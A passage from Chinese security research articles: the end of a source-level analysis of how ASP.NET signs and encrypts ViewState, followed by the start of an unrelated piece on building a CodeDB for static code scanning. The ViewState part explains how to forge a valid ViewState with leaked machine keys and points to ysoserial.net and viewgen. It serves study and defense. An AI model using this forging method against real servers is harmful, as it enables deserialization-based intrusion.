{ReleaseMemoryStream(objectStream);}return result;}重点仍然是里面的else分支:
1234567891011else {// Otherwise go through legacy crypto mechanismsif (_page != null && _page.ContainsEncryptedViewState) {inputBytes = MachineKeySection.EncryptOrDecryptData(false, inputBytes, GetMacKeyModifier(), 0, length);length = inputBytes.Length;}// We need to decode if the page has EnableViewStateMac or we got passed in some mac key stringelse if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {inputBytes = MachineKeySection.GetDecodedData(inputBytes, GetMacKeyModifier(), 0, length, ref length);}}这里出现了一个新的标志位 _page.ContainsEncryptedViewState 用于决定是否进入MachineKeySection.EncryptOrDecryptData() 函数进行解密,查看ContainsEncryptedViewState 的来历:
1234567if (_requestValueCollection != null) {// Determine if viewstate was encrypted.if (_requestValueCollection[ViewStateEncryptionID] != null) {ContainsEncryptedViewState = true;}...注释表明,该标志确实用于判断接收到的viewstate 是否被加密。查看dnspy逆向的结果,你会更清晰:
这 "__VIEWSTATEENCRYPTED" 很像是request 里提交的字段啊,查找一下,确实如此。
查看开启加密后的 request 请求,确实有这样一个无值的字段:
所以,ASP.NET在解析ViewState时,并不是根据web.config来判断 ViewState 是否加密,而是通过request里是否有__VIEWSTATEENCRYPTED 字段进行判断。换句话说,即使我们在web.config 里设置 Always 解密,服务端仍然会被动解析只有签名的ViewState。( 我在 YsoSerial.NET 工具 ViewState插件作者的博客里看到,.net 4.5 之后需要加密算法和密钥。但是我不明白为什么,在实际测试中似乎也不需要。)
5. GetEncodedData 签名函数
GetEncodedData() 函数用于对序列化后的Binary数据进行签名,用于完整性校验。查看其代码(.NET 4.8):
123456789101112131415161718192021222324252627282930313233// NOTE: When encoding the data, this method *may* return the same reference to the input "buf" parameter// with the hash appended in the end if there's enough space. The "length" parameter would also be// appropriately adjusted in those cases. This is an optimization to prevent unnecessary copying of// buffers.[Obsolete(OBSOLETE_CRYPTO_API_MESSAGE)]internal static byte[] GetEncodedData(byte[] buf, byte[] modifier, int start, ref int length){EnsureConfig();byte[] bHash = HashData(buf, modifier, start, length);byte[] returnBuffer;if (buf.Length - start - length >= bHash.Length){// Append hash to end of buffer if there's spaceBuffer.BlockCopy(bHash, 0, buf, start + length, bHash.Length);returnBuffer = buf;}else{returnBuffer = new byte[length + bHash.Length];Buffer.BlockCopy(buf, start, returnBuffer, 0, length);Buffer.BlockCopy(bHash, 0, returnBuffer, length, bHash.Length);start = 0;}length += bHash.Length;if (s_config.Validation == MachineKeyValidation.TripleDES || s_config.Validation == MachineKeyValidation.AES) {returnBuffer = EncryptOrDecryptData(true, returnBuffer, modifier, start, length, true);length = returnBuffer.Length;}return returnBuffer;}大致流程:
- HashData()函数计算出hash值。
- 判断原buffer长度是否够,如果够,则直接在原buffer中data后添加hash值;否则申请新的buf,并将data和hash值拷贝过去。
- 判断hash算法是否是3DES 或者 AES,如果是,则调用EncryptOrDecryptData() 函数。
我们首先来看一下HashData函数:
12345678910111213141516171819internal static byte[] HashData(byte[] buf, byte[] modifier, int start, int length){EnsureConfig();if (s_config.Validation == MachineKeyValidation.MD5)return HashDataUsingNonKeyedAlgorithm(null, buf, modifier, start, length, s_validationKey);if (_UseHMACSHA) {byte [] hash = GetHMACSHA1Hash(buf, modifier, start, length);if (hash != null)return hash;}if (_CustomValidationTypeIsKeyed) {return HashDataUsingKeyedAlgorithm(KeyedHashAlgorithm.Create(_CustomValidationName),buf, modifier, start, length, s_validationKey);} else {return HashDataUsingNonKeyedAlgorithm(HashAlgorithm.Create(_CustomValidationName),buf, modifier, start, length, s_validationKey);}}这里有几个特殊的标志位:s_config.Validation、_UseHMACSHA、_CustomValidationTypeIsKeyed,用来决定进入哪个函数生成hash。
s_config.Validation 应当是web.config 中设置的签名算法。
而另外两个标志则源自于 InitValidationAndEncyptionSizes() 函数里根据签名算法进行的初始化设置:
12345678910111213141516171819202122232425262728293031323334353637383940private void InitValidationAndEncyptionSizes(){_CustomValidationName = ValidationAlgorithm;_CustomValidationTypeIsKeyed = true;switch(ValidationAlgorithm){case "AES":case "3DES":_UseHMACSHA = true;_HashSize = SHA1_HASH_SIZE;_AutoGenValidationKeySize = SHA1_KEY_SIZE;break;case "SHA1":_UseHMACSHA = true;_HashSize = SHA1_HASH_SIZE;_AutoGenValidationKeySize = SHA1_KEY_SIZE;break;case "MD5":_CustomValidationTypeIsKeyed = false;_UseHMACSHA = false;_HashSize = MD5_HASH_SIZE;_AutoGenValidationKeySize = MD5_KEY_SIZE;break;case "HMACSHA256":_UseHMACSHA = true;_HashSize = HMACSHA256_HASH_SIZE;_AutoGenValidationKeySize = HMACSHA256_KEY_SIZE;break;case "HMACSHA384":_UseHMACSHA = true;_HashSize = HMACSHA384_HASH_SIZE;_AutoGenValidationKeySize = HMACSHA384_KEY_SIZE;break;case "HMACSHA512":_UseHMACSHA = true;_HashSize = HMACSHA512_HASH_SIZE;_AutoGenValidationKeySize = HMACSHA512_KEY_SIZE;break;default:...可以看到,只有MD5签名算法将 _UseHMASHA设置为false,其他算法都将其设置为true。除此之外,还根据签名算法设置_HashSize 为相应hash长度。所以计算MD5 hahs时进入 HashDataUsingNonKeyedAlgorithm()函数,计算其他算法hash时进入 GetHMACSHA1Hash() 函数。
我们先看使用MD5签名算法时进入的 HashDataUsingNonKeyedAlgorithm() 函数:
1234567891011121314151617181920private static byte[] HashDataUsingNonKeyedAlgorithm(HashAlgorithm hashAlgo, byte[] buf, byte[] modifier,int start, int length, byte[] validationKey){int totalLength = length + validationKey.Length + ((modifier != null) ? modifier.Length : 0);byte [] bAll = new byte[totalLength];Buffer.BlockCopy(buf, start, bAll, 0, length);if (modifier != null) {Buffer.BlockCopy(modifier, 0, bAll, length, modifier.Length);}Buffer.BlockCopy(validationKey, 0, bAll, length, validationKey.Length);if (hashAlgo != null) {return hashAlgo.ComputeHash(bAll);} else {byte[] newHash = new byte[MD5_HASH_SIZE];int hr = UnsafeNativeMethods.GetSHA1Hash(bAll, bAll.Length, newHash, newHash.Length);Marshal.ThrowExceptionForHR(hr);return newHash;}}这里的modifier 的来源我们稍后再议,其长度一般为4个字节。HashDataUsingNonKeyedAlgorithm() 函数流程如下:
- 申请一块新的内存,其长度为data length + validationkey.length + modifier.length
- 将data,modifier,validationkey 拷贝到新分配的内存里。特殊的是,modifier 和 vavlidationkey 都是从紧挨着data的地方开始拷贝,这就导致了validationkey 会 覆盖掉modifier。所以真正的内存分配为: data + validationkey + '\x00'*modifier.length
- 根据MD5算法设置hash长度,即newHash。关于这一点,代码中有各种算法产生hash值的长度设定:
12345678910private const int MD5_KEY_SIZE = 64;private const int MD5_HASH_SIZE = 16;private const int SHA1_KEY_SIZE = 64;private const int HMACSHA256_KEY_SIZE = 64;private const int HMACSHA384_KEY_SIZE = 128;private const int HMACSHA512_KEY_SIZE = 128;private const int SHA1_HASH_SIZE = 20;private const int HMACSHA256_HASH_SIZE = 32;private const int HMACSHA384_HASH_SIZE = 48;private const int HMACSHA512_HASH_SIZE = 64;各种算法对应的Hash长度分别为 MD5:16 SHA1:20 MACSHA256:32 HMACSHA384:48 HMACSHA512:64, 全都不同。
- 调用UnsafeNativeMethods.GetSHA1Hash() 函数进行hash计算。该函数是从webengine4.dll 里导入的一个函数。第一次看到这里,我有一些疑问,为什么MD5算法要调用GetSHA1Hash函数呢?这个疑问先保留。我们先看其他算法是如何生成hash的。
计算其他算法的hash时调用了一个自己写的GetHMACSHA1Hash() 函数,其实现如下:
123456789101112131415private static byte[] GetHMACSHA1Hash(byte[] buf, byte[] modifier, int start, int length) {if (start < 0 || start > buf.Length)throw new ArgumentException(SR.GetString(SR.InvalidArgumentValue, "start"));if (length < 0 || buf == null || (start + length) > buf.Length)throw new ArgumentException(SR.GetString(SR.InvalidArgumentValue, "length"));byte[] hash = new byte[_HashSize];int hr = UnsafeNativeMethods.GetHMACSHA1Hash(buf, start, length,modifier, (modifier == null) ? 0 : modifier.Length,s_inner, s_inner.Length, s_outer, s_outer.Length,hash, hash.Length);if (hr == 0)return hash;_UseHMACSHA = false;return null;}可以看到,其内部直接调用的UnsafeNativeMethods.GetHMACSHA1Hash() 函数,该函数也是从webengine4.dll里导入的一个函数。和之前看生成MD5 hash值时有一样的疑问,为什么是GetHMACSHA1HAsh?为什么多种算法都进入这一个函数?根据他们参数的特点,而且之前看到各个算法生成hash的长度不同,我们可以猜测,或许是该函数内部根据hash长度来选择使用什么算法。
把 webengine4.dll 拖进ida里。查看GetSHA1Hash() 函数和 GetHMACSHA1Hash() 函数,特点如下:
GetHMACSHA1Hash:
二者都进入了GetAlgorithmBasedOnHashSize() 函数,看来我们的猜测没错,确实是通过hash长度来选择算法。
6. EncryptOrDecryptData 加密解密函数
我们之前看到,无论是开启加密的情况下,还是采用AES\3DES签名算法的情况下,都会进入 MachineKeySection.EncryptOrDecryptData() 函数,那么该函数内部是怎么样的流程呢?
先来看一下该函数的声明和注释:
1234567891011121314151617181920212223242526272829303132333435internal static byte[] EncryptOrDecryptData(bool fEncrypt, byte[] buf, byte[] modifier, int start, int length, bool useValidationSymAlgo, bool useLegacyMode, IVType ivType, bool signData)/* This algorithm is used to perform encryption or decryption of a buffer, along with optional signing (for encryption)* or signature verification (for decryption). Possible operation modes are:** ENCRYPT + SIGN DATA (fEncrypt = true, signData = true)* Input: buf represents plaintext to encrypt, modifier represents data to be appended to buf (but isn't part of the plaintext itself)* Output: E(iv + buf + modifier) + HMAC(E(iv + buf + modifier))** ONLY ENCRYPT DATA (fEncrypt = true, signData = false)* Input: buf represents plaintext to encrypt, modifier represents data to be appended to buf (but isn't part of the plaintext itself)* Output: E(iv + buf + modifier)** VERIFY + DECRYPT DATA (fEncrypt = false, signData = true)* Input: buf represents ciphertext to decrypt, modifier represents data to be removed from the end of the plaintext (since it's not really plaintext data)* Input (buf): E(iv + m + modifier) + HMAC(E(iv + m + modifier))* Output: m** ONLY DECRYPT DATA (fEncrypt = false, signData = false)* Input: buf represents ciphertext to decrypt, modifier represents data to be removed from the end of the plaintext (since it's not really plaintext data)* Input (buf): E(iv + plaintext + modifier)* Output: m** The 'iv' in the above descriptions isn't an actual IV. Rather, if ivType = IVType.Random, we'll prepend random bytes ('iv')* to the plaintext before feeding it to the crypto algorithms. Introducing randomness early in the algorithm prevents users* from inspecting two ciphertexts to see if the plaintexts are related. If ivType = IVType.None, then 'iv' is simply* an empty string. If ivType = IVType.Hash, we use a non-keyed hash of the plaintext.** The 'modifier' in the above descriptions is a piece of metadata that should be encrypted along with the plaintext but* which isn't actually part of the plaintext itself. It can be used for storing things like the user name for whom this* plaintext was generated, the page that generated the plaintext, etc. On decryption, the modifier parameter is compared* against the modifier stored in the crypto stream, and it is stripped from the message before the plaintext is returned.** In all cases, if something goes wrong (e.g. invalid padding, invalid signature, invalid modifier, etc.), a generic exception is thrown.*/注释开头说明:该函数用于加密/解密,可选择的进行签名/校验。一共有4中情况:加密+签名、只加密、解密+校验、只解密。重点是其中的加密+签名、解密+校验。
- 加密+签名:fEncrypt = true, signData = true输入:待加密的原始数据,modifier输出:E(iv + buf + modifier) + HMAC(E(iv + buf + modifier))
(上述公式中E表示加密,HMAC表示签名)
- 解密+校验:fEncrypt = false, signData = true输入:带解密的加密数据,modifier,buf 即为上面的 E(iv + m + modifier) + HMAC(E(iv + m + modifier))输出:m
老实说,只看注释,我们似乎已经可以明白该函数是如何进行加密和签名的了,操起python 就可以学习伪造加密的viewstate了(开玩笑)。不过我们还是看一下他的代码:
1internal static byte[] EncryptOrDecryptData(bool fEncrypt, byte[] buf, byte[] modifier, int start, int length, bool useValidationSymAlgo, bool useLegacyMode, IVType ivType, bool signData)该函数有9个参数:
- 第1个参数 fEncrypt 表示是加密还是解密,true为加密,false 为解密;
- 第2~5个参数 buf、modifier、start、length 为与原始数据相关;
- 第6个参数 useValidationSymAlgo 表示加密是否使用与签名相同的算法;
- 第7个参数useLegacyMode 与自定义算法有关,一般为false;
- 第8个参数 ivType与加密中使用的初始向量iv 有关,根据注释,旧的 IPType.Hash 已经被去除,现在默认使用IPType.Random;
- 第9个参数 signData 表示是否签名/校验。
关于第6个参数 useValidationSymAlgo 有一些细节要说:
我们知道,在Serialize 函数下有两种情况会进入 EncryptOrDecryptData 函数:
(1)由于web.config 配置中开启加密功能,直接进入 EncryptOrDecryptData() 函数:
此时EncryptOrDecryptData () 参数有5个。
(2)在进入GetEncodeData() 函数后,由于使用了AES/3DES 签名算法,导致再次进入 EncryptOrDecryptData() 函数:
此时EncryptOrDecryptData () 参数有6个。
二者参数个数不同,说明是进入了不同的重载函数。
细细观察会发现,由于使用了AES/3DES签名算法导致进入 EncryptOrDecryptData () 时,第6个参数 useValidationSymAlgo 为true。意义何在呢?因为先进入GetEncodedData() 函数,说明没有开启加密功能,此时由于使用的是AES/3DES签名算法,导致需要在签名后再次EncryptOrDecryptData () 函数。进入EncryptOrDecryptData() 就需要决定使用什么加密算法。所以第6个参数为true,表示加密使用和签名同样的算法。另外多说一句,这种情况下会有两次签名,在GetEncodedData() 里一次,进入EncryptOrDecryptData() 后又一次(后面会看到)。
下面代码将有关解密和校验的操作隐去,只介绍加密与签名的部分。
1234// 541~543行System.IO.MemoryStream ms = new System.IO.MemoryStream();ICryptoTransform cryptoTransform = GetCryptoTransform(fEncrypt, useValidationSymAlgo, useLegacyMode);CryptoStream cs = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write);这一段是先调用GetCryptoTransform 获取加密工具,而后通过CryptoStream 将数据流链接到加密转换流。不了解这一过程的可以查看微软相关文档。
关键在于GetCryptoTransform() 是如何选择加密工具的?该函数的3个参数中似乎并无算法相关。观其代码:
123456private static ICryptoTransform GetCryptoTransform(bool fEncrypt, bool useValidationSymAlgo, bool legacyMode){SymmetricAlgorithm algo = (legacyMode ? s_oSymAlgoLegacy : (useValidationSymAlgo ? s_oSymAlgoValidation : s_oSymAlgoDecryption));lock(algo)return (fEncrypt ? algo.CreateEncryptor() : algo.CreateDecryptor());}algo 表示相应的算法类,那么关键便是 s_oSymAlgoValidation 和 s_oSymAlgoDecryption,察其来历:
ConfigureEncryptionObject() 函数:
123456789101112131415161718192021222324252627282930313233343536switch (Decryption){case "3DES":s_oSymAlgoDecryption = CryptoAlgorithms.CreateTripleDES();break;case "DES":s_oSymAlgoDecryption = CryptoAlgorithms.CreateDES();break;case "AES":s_oSymAlgoDecryption = CryptoAlgorithms.CreateAes();break;case "Auto":if (dKey.Length == 8) {s_oSymAlgoDecryption = CryptoAlgorithms.CreateDES();} else {s_oSymAlgoDecryption = CryptoAlgorithms.CreateAes();}break;}if (s_oSymAlgoDecryption == null) // Shouldn't happen!InitValidationAndEncyptionSizes();switch(Validation){case MachineKeyValidation.TripleDES:if (dKey.Length == 8) {s_oSymAlgoValidation = CryptoAlgorithms.CreateDES();} else {s_oSymAlgoValidation = CryptoAlgorithms.CreateTripleDES();}break;case MachineKeyValidation.AES:s_oSymAlgoValidation = CryptoAlgorithms.CreateAes();break;}看来在网站初始化时就已将相应的加密类分配好了。
继续观察 EncryptOrDecryptData() 的代码:
123456789101112131415161718192021222324252627282930313233343536// 第545~579行// DevDiv Bugs 137864: Add IV to beginning of data to be encrypted.// IVType.None is used by MembershipProvider which requires compatibility even in SP2 mode (and will set signData = false).// MSRC 10405: If signData is set to true, we must generate an IV.bool createIV = signData || ((ivType != IVType.None) && (CompatMode > MachineKeyCompatibilityMode.Framework20SP1));if (fEncrypt && createIV){int ivLength = (useValidationSymAlgo ? _IVLengthValidation : _IVLengthDecryption);byte[] iv = null;switch (ivType) {case IVType.Hash:// iv := H(buf)iv = GetIVHash(buf, ivLength);break;case IVType.Random:// iv := [random]iv = new byte[ivLength];RandomNumberGenerator.GetBytes(iv);break;}Debug.Assert(iv != null, "Invalid value for IVType: " + ivType.ToString("G"));cs.Write(iv, 0, iv.Length);}cs.Write(buf, start, length);if (fEncrypt && modifier != null){cs.Write(modifier, 0, modifier.Length);}cs.FlushFinalBlock();byte[] paddedData = ms.ToArray();这一段开头是在生成IV。IV是加密时使用的初始向量,应保证其随机性,防止重复IV导致密文被破解。
- ivLength为64。这里随机生成64个字节作为iv。
- 三次调用 cs.Write(),分别写入iv、buf、modifier。cs即为前面生成的CryptoStream类实例,用于将数据流转接到加密流。这里与我们前面所说的公式 E(iv + buf + modifier) 对应上了。
- 调用ms.ToArray() ,即返回加密完成后的生成的字节序列。
继续观察 EncryptOrDecryptData() 的代码:
12345678910111213141516171819202122232425262728293031// 第550~644行// DevDiv Bugs 137864: Strip IV from beginning of unencrypted dataif (!fEncrypt && createIV){// strip off the first bytes that were random bits...}else{bData = paddedData;}...// At this point:// If fEncrypt = true (encrypting), bData := Enc(iv + buf + modifier)// If fEncrypt = false (decrypting), bData := plaintextif (fEncrypt && signData) {byte[] hmac = HashData(bData, null, 0, bData.Length);byte[] bData2 = new byte[bData.Length + hmac.Length];Buffer.BlockCopy(bData, 0, bData2, 0, bData.Length);Buffer.BlockCopy(hmac, 0, bData2, bData.Length, hmac.Length);bData = bData2;}// At this point:// If fEncrypt = true (encrypting), bData := Enc(iv + buf + modifier) + HMAC(Enc(iv + buf + modifier))// If fEncrypt = false (decrypting), bData := plaintext// And we're donereturn bData;这里是最后一部,将加密后生成的字节序列传给HashData,让其生成hash值,并缀在字节序列后面。
这就与前面的公式 E(iv + buf + modifier) + HMAC(E(iv + buf + modifier)) 对应上了。
看完 EncryptOrDecryptData() 函数的代码,我么也明白了其流程,总结下来其实就一个公式,没错就是 E(iv + buf + modifier) + HMAC(E(iv + buf + modifier)) 。
7. modifier 的来历
在前面进行签名和加密的过程中,都使用了一个关键变量叫做modifier,该变量同密钥一起用于签名和加密。该变量来自于 GetMacKeyModifier() 函数:
123456789101112131415161718192021222324252627282930313233// This will return the MacKeyModifier provided in the LOSFormatter constructor or// generate one from Page if EnableViewStateMac is true.private byte[] GetMacKeyModifier() {if (_macKeyBytes == null) {// Only generate a MacKeyModifier if we have a pageif (_page == null) {return null;}// Note: duplicated (somewhat) in GetSpecificPurposes, keep in sync// Use the page's directory and class name as part of the key (ASURT 64044)uint pageHashCode = _page.GetClientStateIdentifier();string viewStateUserKey = _page.ViewStateUserKey;if (viewStateUserKey != null) {// Modify the key with the ViewStateUserKey, if any (ASURT 126375)int count = Encoding.Unicode.GetByteCount(viewStateUserKey);_macKeyBytes = new byte[count + 4];Encoding.Unicode.GetBytes(viewStateUserKey, 0, viewStateUserKey.Length, _macKeyBytes, 4);}else {_macKeyBytes = new byte[4];}_macKeyBytes[0] = (byte)pageHashCode;_macKeyBytes[1] = (byte)(pageHashCode >> 8);_macKeyBytes[2] = (byte)(pageHashCode >> 16);_macKeyBytes[3] = (byte)(pageHashCode >> 24);}return _macKeyBytes;}函数流程:
- 函数开头先通过 _page.GetClientStateIdentifier 计算出一个 pageHashCode;
- 如果有viewStateUserKey,则modifier = pageHashCode + ViewStateUsereKey;
- 如果没有viewStateUserKey,则modifier = pageHashCode
先看pageHashCode 来历:
1234567891011121314// This is a non-cryptographic hash code that can be used to identify which Page generated// a __VIEWSTATE field. It shouldn't be considered sensitive information since its inputs// are assumed to be known by all parties.internal uint GetClientStateIdentifier() {// Use non-randomized hash code algorithms instead of String.GetHashCode.// Use the page's directory and class name as part of the key (ASURT 64044)// We need to make sure that the hash is case insensitive, since the file system// is, and strange view state errors could otherwise happen (ASURT 128657)int pageHashCode = StringUtil.GetNonRandomizedHashCode(TemplateSourceDirectory, ignoreCase:true);pageHashCode += StringUtil.GetNonRandomizedHashCode(GetType().Name, ignoreCase:true);return (uint)pageHashCode;}从注释中也可以看出,计算出directory 和 class name 的hash值,相加并返回。这样pageHashCode 就有4个字节了。所以我们可以手动计算一个页面的 pageHashCode,directory 和 class name 应当分别是网站集路径和网站集合名称。除此之外也可以从页面中的隐藏字段"__VIEWSTATEGENERATOR" 中提取。便如下图:
"__VIEWSTATEGENERATOR" 与 pageHashCode 的关系在这里:
再看ViewStateUserKey 的来历:
按照官方说法:ViewStateUserKey 即 :在与当前页面关联的ViewState 变量中为单个用户分配标识符。
可见,ViewStateUserKey 是一个随机字符串值,且要保证与用户关联。如果网站使用了ViewStateUserKey,我们应当在SessionID 或 cookie 中去猜。在CVE-20202-0688 中,便是取 SessionID 作为ViewStateUserKey。
8. 伪造ViewState
经过上面长篇大论的贴代码、分析。我们已经大致明白了ASP.NET 生成和解析ViewState 的流程。这有助帮助我们理解如何伪造 ViewState。当然了伪造 ViewState 仍然需要 泄露web.config,知晓其 密钥与算法。
- 如果签名算法不是AES/3DES,无论是否开启加密功能,我们只需要根据其签名算法和密钥,生成一个签名的ViewState。由于发送该ViewState的时候没有使用"__VIEWSTATEENCRYPTED" 字段,导致ASP.NET 在解析时直接进入GetDecodedData() 进行签名校验,而不再执行解密步骤。
- 如果签名算法是 AES/3DES,无论是否开启加密功能,我们只需按照先前所讲,对数据先签名一次,再加密一次,再签名一次。 然后发送给服务端,ASP.NET 进入 GetDecodedData(),然后先进 EncryptOrDecryptData() 进行一次校验和解密,出来后再进行一次校验。
换种表达方式,无论使用什么签名算法,无论是否开启加密功能,我们伪造ViewState时,就按照没有开启加密功能情况下的正常步骤,去伪造ViewState。
9.附录:
[1] ysoserial.net
https://github.com/pwntester/ysoserial.net
[2] viwgen (python 写的viewstate生成工具,不依赖.NET,方便自动化脚本使用)
https://github.com/0xacb/viewgen
[3] 什么是View State 及其在ASP.NET中的工作方式
https://www.c-sharpcorner.com/UploadFile/225740/what-is-view-state-and-how-it-works-in-Asp-Net53/
[4] 微软官方文档:ASP.NET服务器控件概述
https://docs.microsoft.com/zh-cn/troubleshoot/aspnet/server-controls
[5]《MSDN杂志》文章:ViewState 安全
https://docs.microsoft.com/en-us/archive/msdn-magazine/2010/july/security-briefs-view-state-security
[6] 安全通告KB2905247
[7] 使用ViewState
http://appetere.com/post/working-with-viewstate
[8] Exhange CVE-2020-0688
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1386/
-
构造一个 CodeDB 来探索全新的白盒静态扫描方案
作者:LoRexxar'@知道创宇404实验室
时间:2020年10月30日前言
前段时间开源新版本KunLun-M的时候,写了一篇《从0开始聊聊自动化静态代码审计工具》的文章,里面分享了许多在这些年白盒静态扫描演变过程中出现的扫描思路、技术等等。在文章中我用了一个简单的例子描述了一下基于.QL的扫描思路,但实际在这个领域我可能只见过一个活的SemmleQL(也就是CodeQL的原型)。这篇文章中我也聊一聊这相关的东西,也分享一些我尝试探索的一些全新的静态扫描方案。
本文提到的小demo phpunserializechain作为星链计划的一员开源,希望能给相关的安全从业者带来帮助。
本文会提及大量的名词,其中如有解释错误或使用不当欢迎指正。
什么是.QL?
QL全称Query Language,是一种用于从数据库查询数据的语言。我们常见的SQL就是QL的一种,这是一个很常见的概念。
而.QL是什么呢?Wiki上的解释是,一种面向对象的查询语言,用于从关系数据库中检索数据。
而.QL又和静态分析有什么关系呢?我们需要理解一个概念叫做SCID。
SCID: Source Code in Database 是指一种将代码语法解析并储存进代码中的操作方法。而这种数据库我们可以简单的称之为CodeDB。
当我们通过一种方案生成了CodeDB之后,我们就需要构造一种QL语言来处理它。当然CodeQL正是一种实现了CodeDB并设计好了相应的QL语言的平台。而Semmle QL设计的查询语言就是一种.QL,它同时符合了几种特点其中包括SQL、Datalog、Eindhoven Quantifier Notation、Classes are Predicates其中涵盖了针对代码的不同逻辑而使用的多种解决方案。当然,本文并不是要讨论CodeQL,所以这里我们并不深入解释Semmle QL中的解决方案。
.QL的概念最早在2007年被提出,详情可以参考:
为什么使用.QL呢?
在《从0开始聊聊自动化静态代码审计工具》中我曾经把基于.QL的认为是未来白盒发展的主要趋势,其主要原因在于现代普遍使用的白盒核心技术存在许多的无解问题,在上一篇文章中,我主要用一些基于技术原理的角度解释了几种现代的扫描方案,今天我就从技术本身聊聊这其中的区别。
其实我在前文中提到的两种分析方式,无论是基于AST的分析、还是基于IR/CFG的分析方式,他们的区别只是技术基础不同,但分析的理论差异不大,我们可以粗略的将它们统一叫做Data-flow analysis,也就是数据流分析(污点分析可以算作是数据流分析的变种)。
数据流分析有很多种种类,其本质是流敏感的,且通常来说是路径不敏感的。当然,这并不是绝对的,我们可以按照敏感类型将其分类:
- 流敏感分析:flow-sensitive,考虑语句的执行先后顺序,这种分析通常依赖CFG控制流图。
- 路径敏感分析:path-sensitive,不仅考虑语句的执行顺序,还要分析路径的执行条件(比如if条件等),以确定是否存在可实际运行的执行路径。
- 上下文敏感分析:context-sensitive,属于一种过程间分析,在分析函数调用目标时会考虑调用上下文。主要面向的的场景为同一个函数/方法在不同次调用/不同位置调用时上下文不同的情况。
当然,需要注意的是,这里仅指的是数据流分析的分类方式,与基于的技术原理无关,如果你愿意,你当然也可以基于AST来完成流敏感的分析工具。
在基于数据流的扫描方案中,如果能够完整的支持各种语法充足的分析逻辑,我们就可以针对每一种漏洞分析相应的数据流挖掘漏洞。可惜事实是,问题比想象的还要多。这里我举几个可能被解决、也可能被暂时解决、也可能没人能解决的问题作为例子。
1、如何判断全局过滤方案?
2、如何处理专用的过滤函数未完全过滤的情况?
3、如何审计深度重构的框架?
4、如何扫描储存型xss?
5、如何扫描二次注入?
6、如何扫描eval中出现的伪代码逻辑?现代扫描方案不断进步的同时,或许许多问题都得到一定程度的解决,但可惜的是,这就像是扫描方案与开发人员的博弈一样,我们永远致力于降低误报率、漏报率却不能真正的解决,这样一来好像问题就变得又无解了起来……
当然,.QL的概念的扫描方案并不是为了解决这些问题而诞生的,可幸运的是, 从我的视角来看,基于.QL概念的扫描方案将静态扫描走到了新的路中,让我们不再拘泥于探讨如何处理流敏感、约束条件等等。
基于.QL的扫描方案,将引擎的实现和规则开发、使用者分割开来,流分析等数据流相关的分析由引擎以及引擎的开发者来完成,使用者只需要关注规则的编写即可,当然,如何通过定义“谓词”来编写高级规则又或是不断通过多种高级规则来完善规则库体系,才是基于.QL的扫描方案真正的使用姿势。
值得注意的是,我们很难在开发层面就区分出基于.QL的扫描方案以及现在普遍的分析方案的区别,我们同样需要关注代码流敏感又或是各种限制条件,所谓的CodeDB也只是一种技术手段,使用CodeDB也并不等价于基于.QL的扫描方案。换言之,可能源伞等著名的白盒扫描器中,将多种语言生成的IR统一分析,何尝不是另一种Code DB呢?
事实也证明,与其说.QL改进了现代诸多白盒分析方案,不如说在当年白盒面临发展的关口时,大部分人选择了走向以数据流分析为主的方向,而Semmle QL选择了完善基础和引擎。而当我们走到现在这个关口遇到瓶颈的时期,不妨尝试看看别的思考思路,这也是这篇文章的初衷。
其核心的原理就在于通过把每一个操作具象化模板化,并储存到数据库中。比如
1a($b);这个语句被具象为
1Function-a FunctionCall ($b)然后这样的三元组我们可以作为数据库中的一条数据。
而当我们想要在代码中寻找执行a函数的语句时,我们就可以直接通过
1select * from code_db from where type = 'FunctionCall' and node_name = 'Function-a';这样的一条语句可以寻找到代码中所有的执行a函数的节点。
当然,静态分析不可能仅靠这样的简单语句就找到漏洞,但事实就是,当我们针对CodeDB做分析的时候,我们既保证了强代码执行顺序,又可以跨越多重壁垒直接从sink点出发做分析,当相应的QL支持越来越多的高级查询又或者是自定义高级规则之后,或许可以直接实现。
12345select * where {Source : $_GET,Sink : echo,is_filterxss : False,}也正是因为如此,CodeQL的出现,被许多人认为是跨时代的出现,静态分析从底层的代码分析,需要深入到编译过程中的方式,变成了在平台上巧妙构思的规则语句,或许从现在来说,CodeQL这种先铺好底层的方式并不能直接的看到效果,可幸运的是,作为技术本身而言,我们又有了新的前进方向。
下面的文章,我们就跟着我前段时间的一些短期研究成果,探索一下到底如何实现一个合理的CodeDB。
如何实现一个合理的CodeDB呢?
在最早只有Semmle QL的时候我就翻看过一些paper,到后来的LGTM,再到后来的CodeQL我都有一些了解,后来CodeQL出来的时候,翻看过一些人写的规则都距离CodeQL想要达到的目标相去甚远,之后就一直想要自己试着写一个类似的玩具试试看。这次在更新KunLun-M的过程中我又多次受制于基于AST的数据流分析的种种困难,于是有了这次的计划诞生。
为了践行我的想法,这次我花了几个星期的事件设计了一个简易版本的CodeDB,并基于CodeDB写了一个简单的寻找php反序列化链的工具,工具源码详见:
在聊具体的实现方案之前,我们需要想明白CodeDB到底需要记录什么?
首先,每一行代码的执行顺序、所在文件是基本信息。其次当前代码所在的域环境、代码类型、代码相关的信息也是必要的条件。
在这个基础上,我尝试使用域定位、执行顺序、源节点、节点类型、节点信息这5个维度作为五元组储存数据。举一个简单的例子:
12345678test.php<?php$a = $_GET['a'];if (1>0){echo $b;}上面的代码转化的结果为
1234test_php 1 Variable-$a Assignment ArrayOffset-$_GET@atest_php 2 if If ['1', '>', '0']test_php.if 0 1 BinaryOp-> 0test_php.if 1 echo FunctionCall ('$a',)由于这里我主要是一个尝试,所以我直接依赖SQL来做查询并将分析逻辑直接从代码实现,这里我们直接用sql语句做查询。
1select * from code_db where node_type='FunctionCall' and node_name='echo'用上述语句查询出echo语句,然后分析节点信息得到参数为
$a
。然后通过
1select * from code_db where node_locate = 'test_php.if' and node_sort=0来获取if的条件信息,并判断为真。
紧接着我们可以通过SQL语句为
1select * from code_db where node_name='$a' and node_type='Assignment' and node_locate like 'test_php%' and node_id >= 4得到赋值语句,经过判断就可以得到变量来源于
$_GET
。当然,逻辑处理远比想像的要复杂,这里我们举了一个简单的例子做实例,通过sort为0记录参数信息和条件信息,如果出现同一个语句中的多条指令,可能会出现sort相同的多个节点,还需要sort和id共同处理...
这里我尝试性的构造了基于五元组的CodeDB生成方案,并通过一些SQL语句配合代码逻辑分析,我们得到了想要扫描结果。事实上,虽然这种基于五元组的CodeDB仍不成熟,但我们的确通过这种方式构造了一种全新的扫描思路,如果CodeDB构造成熟,然后封装一些基础的查询逻辑,我们就可以大幅度解决我在KunLun-M中遇到的许多困境。
写在最后
